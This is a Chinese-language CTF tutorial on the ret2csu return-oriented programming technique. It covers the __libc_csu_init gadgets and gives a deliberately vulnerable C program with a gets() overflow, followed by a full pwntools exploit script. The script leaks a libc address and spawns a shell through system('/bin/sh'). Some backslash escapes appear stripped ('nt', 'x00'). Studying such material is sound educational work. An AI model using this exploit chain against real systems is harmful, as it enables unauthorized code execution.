# ret2csu
对于 `Linux` 系统上的 `64` 位可执行程序而言,一般都会存在 `__libc_csu_init` 函数,这个函数中一般都会存在几个万能 `gadget` 可以用于控制程序执行流。
## __libc_csu_init
函数的重要汇编代码如下:
```assembly
[...]
.text:0000000000400740 loc_400740: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040074D add rbx, 1
.text:0000000000400751 cmp rbx, rbp
.text:0000000000400754 jnz short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400756 add rsp, 8
.text:000000000040075A pop rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
.text:0000000000400764 retn
.text:0000000000400764 ; } // starts at 400700
.text:0000000000400764 __libc_csu_init endp
```
很多时候,我们很难找到可以控制 `rdx` 寄存器的 `gadget`,如果程序不提供 `libc`,并且条件不足以使用 `ret2libc` 的时候,我们可以选择使用 `ret2csu` 来进行泄露。
从 `0x40075A` 开始有一段我们可以控制的寄存器,这些寄存器的值又在`0x400740`被`mov`到`rdx` `rsi` `edi`寄存器中,我们可以通过 `0x40075A` 处的寄存器值,从而达到我们泄露栈地址的目的。进而控制程序执行流。
## 例题解析
源码:
```c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
char bss[200];
void init()
{
setbuf(stdout,0);
setbuf(stdin,0);
setbuf(stderr,0);
write(1,"ok",3);
}
int main()
{
init();
__asm__ (
"xor %eax,%eaxnt"
"test %eax,%eaxnt"
"jz lable2nt"
"jnz lable1nt"
"lable1:nt"
" pop %rax;pop %rdi;retnt"
" syscall;retnt"
" call *%raxnt"
"lable2:nt"
);
char buf[10];
gets(buf);
__asm__("mov $1,%rdxnt");
return 0;
}
```
解题脚本:
```python
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
# p = remote('192.168.152.140',10003)
p = process('./csusys')
elf = ELF('./csusys')
p.recvuntil("okx00")
csu1 = 0x40075A #rbx rbp r12 r13 r14 r15
csu2 = 0x400740 #r13->rdx r14->rsi r15d->edi call r12
pop_rdi_ret = 0x4006d8
offset1 = b'a'*(0x10+0x8)
offset2 = b'a'*0x38
payload = offset1 + p64(csu1)
payload += p64(0) + p64(1) + p64(elf.got['write']) + p64(8) + p64(elf.got['write']) + p64(1)
payload += p64(csu2) + offset2 + p64(elf.sym['_start'])
p.sendline(payload)
write_addr = u64(p.recv(6).ljust(8,b'x00'))
print(hex(write_addr))
log.success("write_addr: 0x%x", write_addr)
base = write_addr - 0x00000000000f73b0
system = base + 0x00000000000453a0
str_bin_sh = base + 0x18ce57
payload = offset1 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system)
p.sendline(payload)
p.interactive()
```